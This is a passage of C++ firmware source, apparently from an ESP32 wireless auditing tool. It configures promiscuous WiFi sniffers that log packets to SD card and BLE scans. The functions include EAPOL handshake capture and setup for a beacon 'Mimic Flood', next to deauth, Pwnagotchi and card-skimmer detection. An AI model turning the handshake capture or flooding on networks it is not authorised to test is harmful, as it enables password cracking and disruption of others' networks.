  631. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  632. #endif
  633. }
  634. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  635. sd_obj.openCapture("espressif");
  636. #ifdef HAS_SCREEN
  637. display_obj.TOP_FIXED_AREA_2 = 48;
  638. display_obj.tteBar = true;
  639. display_obj.print_delay_1 = 15;
  640. display_obj.print_delay_2 = 10;
  641. display_obj.initScrollValues(true);
  642. display_obj.tft.setTextWrap(false);
  643. display_obj.tft.setTextColor(TFT_WHITE, color);
  644. display_obj.tft.fillRect(0,16,240,16, color);
  645. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  646. display_obj.touchToExit();
  647. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  648. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  649. #endif
  650. esp_wifi_init(&cfg);
  651. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  652. esp_wifi_set_mode(WIFI_MODE_NULL);
  653. esp_wifi_start();
  654. esp_wifi_set_promiscuous(true);
  655. esp_wifi_set_promiscuous_filter(&filt);
  656. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  657. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  658. this->wifi_initialized = true;
  659. initTime = millis();
  660. }
  661. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  662. {
  663. #ifdef HAS_SCREEN
  664. display_obj.tft.init();
  665. display_obj.tft.setRotation(1);
  666. display_obj.tft.fillScreen(TFT_BLACK);
  667. #endif
  668. sd_obj.openCapture("packet_monitor");
  669. #ifdef HAS_SCREEN
  670. #ifdef TFT_SHIELD
  671. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  672. Serial.println("Using TFT Shield");
  673. #else if defined(TFT_DIY)
  674. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  675. Serial.println("Using TFT DIY");
  676. #endif
  677. display_obj.tft.setTouch(calData);
  678. //display_obj.tft.setFreeFont(1);
  679. display_obj.tft.setFreeFont(NULL);
  680. display_obj.tft.setTextSize(1);
  681. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  682. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  683. delay(10);
  684. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  685. display_obj.tftDrawColorKey();
  686. display_obj.tftDrawXScaleButtons(x_scale);
  687. display_obj.tftDrawYScaleButtons(y_scale);
  688. display_obj.tftDrawChannelScaleButtons(set_channel);
  689. display_obj.tftDrawExitScaleButtons();
  690. #endif
  691. Serial.println("Running packet scan...");
  692. esp_wifi_init(&cfg);
  693. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  694. esp_wifi_set_mode(WIFI_MODE_NULL);
  695. esp_wifi_start();
  696. esp_wifi_set_promiscuous(true);
  697. esp_wifi_set_promiscuous_filter(&filt);
  698. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  699. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  700. this->wifi_initialized = true;
  701. uint32_t initTime = millis();
  702. }
  703. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  704. {
  705. num_eapol = 0;
  706. #ifdef HAS_SCREEN
  707. display_obj.tft.init();
  708. display_obj.tft.setRotation(1);
  709. display_obj.tft.fillScreen(TFT_BLACK);
  710. #endif
  711. sd_obj.openCapture("eapol");
  712. #ifdef HAS_SCREEN
  713. #ifdef TFT_SHIELD
  714. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  715. //Serial.println("Using TFT Shield");
  716. #else if defined(TFT_DIY)
  717. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  718. //Serial.println("Using TFT DIY");
  719. #endif
  720. display_obj.tft.setTouch(calData);
  721. display_obj.tft.setFreeFont(NULL);
  722. display_obj.tft.setTextSize(1);
  723. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  724. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  725. delay(10);
  726. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  727. display_obj.tftDrawEapolColorKey();
  728. display_obj.tftDrawChannelScaleButtons(set_channel);
  729. display_obj.tftDrawExitScaleButtons();
  730. #endif
  731. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  732. esp_wifi_init(&cfg);
  733. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  734. esp_wifi_set_mode(WIFI_MODE_NULL);
  735. esp_wifi_start();
  736. esp_wifi_set_promiscuous(true);
  737. esp_wifi_set_promiscuous_filter(&filt);
  738. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  739. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  740. this->wifi_initialized = true;
  741. initTime = millis();
  742. }
  743. // Function to prepare for beacon mimic
  744. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  745. #ifdef HAS_SCREEN
  746. display_obj.TOP_FIXED_AREA_2 = 48;
  747. display_obj.tteBar = true;
  748. display_obj.print_delay_1 = 15;
  749. display_obj.print_delay_2 = 10;
  750. display_obj.initScrollValues(true);
  751. display_obj.tft.setTextWrap(false);
  752. display_obj.tft.setTextColor(TFT_BLACK, color);
  753. display_obj.tft.fillRect(0,16,240,16, color);
  754. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  755. display_obj.touchToExit();
  756. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  757. #endif
  758. packets_sent = 0;
  759. esp_wifi_init(&cfg);
  760. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  761. esp_wifi_set_mode(WIFI_AP_STA);
  762. esp_wifi_start();
  763. esp_wifi_set_promiscuous_filter(NULL);
  764. esp_wifi_set_promiscuous(true);
  765. esp_wifi_set_max_tx_power(78);
  766. this->wifi_initialized = true;
  767. initTime = millis();
  768. }
  769. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  770. {
  771. sd_obj.openCapture("pwnagotchi");
  772. #ifdef HAS_SCREEN
  773. display_obj.TOP_FIXED_AREA_2 = 48;
  774. display_obj.tteBar = true;
  775. display_obj.print_delay_1 = 15;
  776. display_obj.print_delay_2 = 10;
  777. display_obj.initScrollValues(true);
  778. display_obj.tft.setTextWrap(false);
  779. display_obj.tft.setTextColor(TFT_WHITE, color);
  780. display_obj.tft.fillRect(0,16,240,16, color);
  781. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  782. display_obj.touchToExit();
  783. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  784. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  785. #endif
  786. esp_wifi_init(&cfg);
  787. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  788. esp_wifi_set_mode(WIFI_MODE_NULL);
  789. esp_wifi_start();
  790. esp_wifi_set_promiscuous(true);
  791. esp_wifi_set_promiscuous_filter(&filt);
  792. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  793. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  794. this->wifi_initialized = true;
  795. initTime = millis();
  796. }
  797. // Function to start running a beacon scan
  798. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  799. {
  800. sd_obj.openCapture("beacon");
  801. #ifdef HAS_SCREEN
  802. display_obj.TOP_FIXED_AREA_2 = 48;
  803. display_obj.tteBar = true;
  804. display_obj.print_delay_1 = 15;
  805. display_obj.print_delay_2 = 10;
  806. display_obj.initScrollValues(true);
  807. display_obj.tft.setTextWrap(false);
  808. display_obj.tft.setTextColor(TFT_WHITE, color);
  809. display_obj.tft.fillRect(0,16,240,16, color);
  810. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  811. display_obj.touchToExit();
  812. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  813. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  814. #endif
  815. esp_wifi_init(&cfg);
  816. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  817. esp_wifi_set_mode(WIFI_MODE_NULL);
  818. esp_wifi_start();
  819. esp_wifi_set_promiscuous(true);
  820. esp_wifi_set_promiscuous_filter(&filt);
  821. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  822. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  823. this->wifi_initialized = true;
  824. initTime = millis();
  825. }
  826. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  827. {
  828. sd_obj.openCapture("deauth");
  829. #ifdef HAS_SCREEN
  830. display_obj.TOP_FIXED_AREA_2 = 48;
  831. display_obj.tteBar = true;
  832. display_obj.print_delay_1 = 15;
  833. display_obj.print_delay_2 = 10;
  834. display_obj.initScrollValues(true);
  835. display_obj.tft.setTextWrap(false);
  836. display_obj.tft.setTextColor(TFT_BLACK, color);
  837. display_obj.tft.fillRect(0,16,240,16, color);
  838. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  839. display_obj.touchToExit();
  840. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  841. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  842. #endif
  843. esp_wifi_init(&cfg);
  844. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  845. esp_wifi_set_mode(WIFI_MODE_NULL);
  846. esp_wifi_start();
  847. esp_wifi_set_promiscuous(true);
  848. esp_wifi_set_promiscuous_filter(&filt);
  849. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  850. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  851. this->wifi_initialized = true;
  852. initTime = millis();
  853. }
  854. // Function for running probe request scan
  855. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  856. {
  857. sd_obj.openCapture("probe");
  858. #ifdef HAS_SCREEN
  859. display_obj.TOP_FIXED_AREA_2 = 48;
  860. display_obj.tteBar = true;
  861. display_obj.print_delay_1 = 15;
  862. display_obj.print_delay_2 = 10;
  863. display_obj.initScrollValues(true);
  864. display_obj.tft.setTextWrap(false);
  865. display_obj.tft.setTextColor(TFT_BLACK, color);
  866. display_obj.tft.fillRect(0,16,240,16, color);
  867. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  868. display_obj.touchToExit();
  869. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  870. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  871. #endif
  872. esp_wifi_init(&cfg);
  873. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  874. esp_wifi_set_mode(WIFI_MODE_NULL);
  875. esp_wifi_start();
  876. esp_wifi_set_promiscuous(true);
  877. esp_wifi_set_promiscuous_filter(&filt);
  878. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  879. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  880. this->wifi_initialized = true;
  881. initTime = millis();
  882. }
  883. // Function to start running any BLE scan
  884. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  885. {
  886. #ifdef HAS_BT
  887. #ifdef HAS_SCREEN
  888. display_obj.print_delay_1 = 50;
  889. display_obj.print_delay_2 = 20;
  890. #endif
  891. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  892. NimBLEDevice::setScanDuplicateCacheSize(200);
  893. NimBLEDevice::init("");
  894. pBLEScan = NimBLEDevice::getScan(); //create new scan
  895. if (scan_mode == BT_SCAN_ALL)
  896. {
  897. #ifdef HAS_SCREEN
  898. display_obj.TOP_FIXED_AREA_2 = 48;
  899. display_obj.tteBar = true;
  900. display_obj.initScrollValues(true);
  901. display_obj.tft.setTextWrap(false);
  902. display_obj.tft.setTextColor(TFT_BLACK, color);
  903. display_obj.tft.fillRect(0,16,240,16, color);
  904. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  905. display_obj.touchToExit();
  906. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  907. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  908. #endif
  909. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  910. }
  911. else if (scan_mode == BT_SCAN_SKIMMERS)
  912. {
  913. #ifdef HAS_SCREEN
  914. display_obj.TOP_FIXED_AREA_2 = 160;
  915. display_obj.tteBar = true;
  916. display_obj.tft.fillScreen(TFT_DARKGREY);
  917. display_obj.initScrollValues(true);
  918. display_obj.tft.setTextWrap(false);
  919. display_obj.tft.setTextColor(TFT_BLACK, color);
  920. display_obj.tft.fillRect(0,16,240,16, color);
  921. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  922. display_obj.twoPartDisplay(text_table4[43]);
  923. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  924. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  925. #endif
  926. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  927. }
  928. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  929. pBLEScan->setInterval(97);
  930. pBLEScan->setWindow(37); // less or equal setInterval value
  931. pBLEScan->setMaxResults(0);
  932. pBLEScan->start(0, scanCompleteCB, false);
  933. Serial.println("Started BLE Scan");
  934. this->ble_initialized = true;
  935. initTime = millis();
  936. #endif
  937. }
  938. // Function that is called when BLE scan is completed
  939. #ifdef HAS_BT
  940. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  941. printf("Scan complete!\n");
  942. printf("Found %d devices\n", scanResults.getCount());
  943. scanResults.dump();
  944. } // scanCompleteCB
  945. #endif
  946. // Function to extract MAC addr from a packet at given offset
  947. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  948. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  949. }
  950. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  951. {
  952. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  953. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  954. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  955. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  956. int len = snifferPacket->rx_ctrl.sig_len;
  957. String display_string = "";
  958. String src_addr_string = "";
  959. if (type == WIFI_PKT_MGMT)
  960. {
  961. len -= 4;
  962. }
  963. int fctl = ntohs(frameControl->fctl);
  964. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  965. const WifiMgmtHdr *hdr = &ipkt->hdr;
  966. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  967. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  968. //{
  969. char addr[] = "00:00:00:00:00:00";
  970. getMAC(addr, snifferPacket->payload, 10);
  971. src_addr_string.concat(addr);
  972. bool match = false;
  973. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  974. if (src_addr_string.startsWith(espressif_macs[i])) {
  975. match = true;
  976. break;
  977. }
  978. }
  979. if (!match)
  980. return;
  981. delay(random(0, 10));
  982. Serial.print("RSSI: ");
  983. Serial.print(snifferPacket->rx_ctrl.rssi);
  984. Serial.print(" Ch: ");
  985. Serial.print(snifferPacket->rx_ctrl.channel);
  986. Serial.print(" BSSID: ");
  987. Serial.print(addr);
  988. //display_string.concat(" RSSI: ");
  989. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  990. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  991. //display_string.concat(" ");
  992. display_string.concat(" -> ");
  993. display_string.concat(addr);
  994. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  995. {
  996. display_string.concat(" ");
  997. }
  998. Serial.print(" ");
  999. #ifdef HAS_SCREEN
  1000. display_obj.loading = true;
  1001. display_obj.display_buffer->add(display_string);
  1002. display_obj.loading = false;
  1003. #endif
  1004. Serial.println();
  1005. if (save_packet)
  1006. sd_obj.addPacket(snifferPacket->payload, len);
  1007. //}
  1008. }
  1009. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1010. {
  1011. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1012. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1013. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1014. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1015. int len = snifferPacket->rx_ctrl.sig_len;
  1016. String display_string = "";
  1017. String src = "";
  1018. String essid = "";
  1019. if (type == WIFI_PKT_MGMT)
  1020. {
  1021. len -= 4;
  1022. int fctl = ntohs(frameControl->fctl);
  1023. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1024. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1025. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1026. #ifdef HAS_SCREEN
  1027. int buf = display_obj.display_buffer->size();
  1028. #else
  1029. int buf = 0;
  1030. #endif
  1031. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1032. {
  1033. char addr[] = "00:00:00:00:00:00";
  1034. getMAC(addr, snifferPacket->payload, 10);
  1035. src.concat(addr);
  1036. if (src == "de:ad:be:ef:de:ad") {
  1037. delay(random(0, 10));
  1038. Serial.print("RSSI: ");
  1039. Serial.print(snifferPacket->rx_ctrl.rssi);
  1040. Serial.print(" Ch: ");
  1041. Serial.print(snifferPacket->rx_ctrl.channel);
  1042. Serial.print(" BSSID: ");
  1043. Serial.print(addr);
  1044. //display_string.concat(addr);
  1045. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1046. Serial.print(" ESSID: ");
  1047. display_string.concat(" -> ");
  1048. // Just grab the first 255 bytes of the pwnagotchi beacon
  1049. // because that is where the name is
  1050. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1051. for (int i = 0; i < len - 37; i++)
  1052. {
  1053. Serial.print((char)snifferPacket->payload[i + 38]);
  1054. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1055. if (isAscii(snifferPacket->payload[i + 38]))
  1056. essid.concat((char)snifferPacket->payload[i + 38]);
  1057. else
  1058. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1059. }
  1060. //essid.concat("\": \"\"}}");
  1061. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1062. // Load json
  1063. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1064. DynamicJsonDocument json(1024); // ArduinoJson v6
  1065. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1066. // ArduinoJson v6
  1067. if (deserializeJson(json, essid)) {
  1068. Serial.println("\nCould not parse Pwnagotchi json");
  1069. display_string.concat(essid);
  1070. }
  1071. else {
  1072. Serial.println("\nSuccessfully parsed json");
  1073. String json_output;
  1074. //json.printTo(json_output); // ArduinoJson v5
  1075. serializeJson(json, json_output); // ArduinoJson v6
  1076. Serial.println(json_output);
  1077. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1078. }
  1079. int temp_len = display_string.length();
  1080. for (int i = 0; i < 40 - temp_len; i++)
  1081. {
  1082. display_string.concat(" ");
  1083. }
  1084. Serial.print(" ");
  1085. #ifdef HAS_SCREEN
  1086. if (display_obj.display_buffer->size() == 0)
  1087. {
  1088. display_obj.loading = true;
  1089. display_obj.display_buffer->add(display_string);
  1090. display_obj.loading = false;
  1091. }
  1092. #endif
  1093. Serial.println();
  1094. if (save_packet)
  1095. sd_obj.addPacket(snifferPacket->payload, len);
  1096. }
  1097. }
  1098. }
  1099. }
  1100. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1101. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1102. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1103. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1104. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1105. int len = snifferPacket->rx_ctrl.sig_len;
  1106. String display_string = "";
  1107. String essid = "";
  1108. String bssid = "";
  1109. if (type == WIFI_PKT_MGMT)
  1110. {
  1111. len -= 4;
  1112. int fctl = ntohs(frameControl->fctl);
  1113. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1114. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1115. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1116. #ifdef HAS_SCREEN
  1117. int buf = display_obj.display_buffer->size();
  1118. #else
  1119. int buf = 0;
  1120. #endif
  1121. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1122. {
  1123. char addr[] = "00:00:00:00:00:00";
  1124. getMAC(addr, snifferPacket->payload, 10);
  1125. bool in_list = false;
  1126. bool mac_match = true;
  1127. for (int i = 0; i < access_points->size(); i++) {
  1128. mac_match = true;
  1129. //Serial.print("Checking ");
  1130. //Serial.print(addr);
  1131. //Serial.println(" against " + (String)access_points->get(i).essid);
  1132. for (int x = 0; x < 6; x++) {
  1133. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1134. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1135. mac_match = false;
  1136. //Serial.println("MACs do not match");
  1137. break;
  1138. }
  1139. }
  1140. if (mac_match) {
  1141. in_list = true;
  1142. break;
  1143. }
  1144. }
  1145. if (!in_list) {
  1146. delay(random(0, 10));
  1147. Serial.print("RSSI: ");
  1148. Serial.print(snifferPacket->rx_ctrl.rssi);
  1149. Serial.print(" Ch: ");
  1150. Serial.print(snifferPacket->rx_ctrl.channel);
  1151. Serial.print(" BSSID: ");
  1152. Serial.print(addr);
  1153. display_string.concat(addr);
  1154. Serial.print(" ESSID: ");
  1155. display_string.concat(" -> ");
  1156. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1157. {
  1158. Serial.print((char)snifferPacket->payload[i + 38]);
  1159. display_string.concat((char)snifferPacket->payload[i + 38]);
  1160. essid.concat((char)snifferPacket->payload[i + 38]);
  1161. }
  1162. bssid.concat(addr);
  1163. int temp_len = display_string.length();
  1164. for (int i = 0; i < 40 - temp_len; i++)
  1165. {
  1166. display_string.concat(" ");
  1167. }
  1168. Serial.print(" ");
  1169. #ifdef HAS_SCREEN
  1170. if (display_obj.display_buffer->size() == 0)
  1171. {
  1172. display_obj.loading = true;
  1173. display_obj.display_buffer->add(display_string);
  1174. display_obj.loading = false;
  1175. }
  1176. #endif
  1177. if (essid == "") {
  1178. essid = bssid;
  1179. Serial.print(essid + " ");
  1180. }
  1181. //LinkedList<char> beacon = new LinkedList<char>();
  1182. /*AccessPoint ap = {essid,
  1183. snifferPacket->rx_ctrl.channel,
  1184. {snifferPacket->payload[10],
  1185. snifferPacket->payload[11],
  1186. snifferPacket->payload[12],
  1187. snifferPacket->payload[13],
  1188. snifferPacket->payload[14],
  1189. snifferPacket->payload[15]},
  1190. false,
  1191. NULL};*/
  1192. AccessPoint ap;
  1193. ap.essid = essid;
  1194. ap.channel = snifferPacket->rx_ctrl.channel;
  1195. ap.bssid[0] = snifferPacket->payload[10];
  1196. ap.bssid[1] = snifferPacket->payload[11];
  1197. ap.bssid[2] = snifferPacket->payload[12];
  1198. ap.bssid[3] = snifferPacket->payload[13];
  1199. ap.bssid[4] = snifferPacket->payload[14];
  1200. ap.bssid[5] = snifferPacket->payload[15];
  1201. ap.selected = false;
  1202. ap.beacon = new LinkedList<char>();
  1203. for (int i = 0; i < len; i++) {
  1204. ap.beacon->add(snifferPacket->payload[i]);
  1205. }
  1206. //Serial.println("\nBeacon: ");
  1207. /*for (int i = 0; i < len; i++) {
  1208. char hexCar[4];
  1209. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1210. Serial.print(hexCar);
  1211. if ((i + 1) % 16 == 0)
  1212. Serial.print("\n");
  1213. else
  1214. Serial.print(" ");
  1215. }*/
  1216. access_points->add(ap);
  1217. Serial.print(access_points->size());
  1218. Serial.println();
  1219. if (save_packet)
  1220. sd_obj.addPacket(snifferPacket->payload, len);
  1221. }
  1222. }
  1223. }
  1224. }
  1225. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1226. {
  1227. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1228. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1229. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1230. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1231. int len = snifferPacket->rx_ctrl.sig_len;
  1232. String display_string = "";
  1233. String essid = "";
  1234. String bssid = "";
  1235. if (type == WIFI_PKT_MGMT)
  1236. {
  1237. len -= 4;
  1238. int fctl = ntohs(frameControl->fctl);
  1239. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1240. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1241. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1242. #ifdef HAS_SCREEN
  1243. int buf = display_obj.display_buffer->size();
  1244. #else
  1245. int buf = 0;
  1246. #endif
  1247. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1248. {
  1249. char addr[] = "00:00:00:00:00:00";
  1250. getMAC(addr, snifferPacket->payload, 10);
  1251. bool in_list = false;
  1252. bool mac_match = true;
  1253. for (int i = 0; i < access_points->size(); i++) {
  1254. mac_match = true;
  1255. //Serial.print("Checking ");
  1256. //Serial.print(addr);
  1257. //Serial.println(" against " + (String)access_points->get(i).essid);
  1258. for (int x = 0; x < 6; x++) {
  1259. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1260. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1261. mac_match = false;
  1262. //Serial.println("MACs do not match");
  1263. break;
  1264. }
  1265. }
  1266. if (mac_match) {
  1267. in_list = true;
  1268. break;
  1269. }
  1270. }
  1271. if (!in_list) {
  1272. delay(random(0, 10));
  1273. Serial.print("RSSI: ");
  1274. Serial.print(snifferPacket->rx_ctrl.rssi);
  1275. Serial.print(" Ch: ");
  1276. Serial.print(snifferPacket->rx_ctrl.channel);
  1277. Serial.print(" BSSID: ");
  1278. Serial.print(addr);
  1279. display_string.concat(addr);
  1280. Serial.print(" ESSID: ");
  1281. display_string.concat(" -> ");
  1282. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1283. {
  1284. Serial.print((char)snifferPacket->payload[i + 38]);
  1285. display_string.concat((char)snifferPacket->payload[i + 38]);
  1286. essid.concat((char)snifferPacket->payload[i + 38]);
  1287. }
  1288. bssid.concat(addr);
  1289. int temp_len = display_string.length();
  1290. for (int i = 0; i < 40 - temp_len; i++)
  1291. {
  1292. display_string.concat(" ");
  1293. }
  1294. Serial.print(" ");
  1295. #ifdef HAS_SCREEN
  1296. if (display_obj.display_buffer->size() == 0)
  1297. {
  1298. display_obj.loading = true;
  1299. display_obj.display_buffer->add(display_string);
  1300. display_obj.loading = false;
  1301. }
  1302. #endif
  1303. if (essid == "") {
  1304. essid = bssid;
  1305. Serial.print(essid + " ");
  1306. }
  1307. AccessPoint ap = {essid,
  1308. snifferPacket->rx_ctrl.channel,
  1309. {snifferPacket->payload[10],
  1310. snifferPacket->payload[11],
  1311. snifferPacket->payload[12],
  1312. snifferPacket->payload[13],
  1313. snifferPacket->payload[14],
  1314. snifferPacket->payload[15]},
  1315. false,
  1316. NULL};
  1317. access_points->add(ap);
  1318. Serial.print(access_points->size());
  1319. Serial.println();
  1320. if (save_packet)
  1321. sd_obj.addPacket(snifferPacket->payload, len);
  1322. }
  1323. }
  1324. }
  1325. }
  1326. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1327. {
  1328. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1329. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1330. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1331. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1332. int len = snifferPacket->rx_ctrl.sig_len;
  1333. String display_string = "";
  1334. if (type == WIFI_PKT_MGMT)
  1335. {
  1336. len -= 4;
  1337. int fctl = ntohs(frameControl->fctl);
  1338. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1339. const WifiMgmtHdr *hdr = &ipkt->hdr;
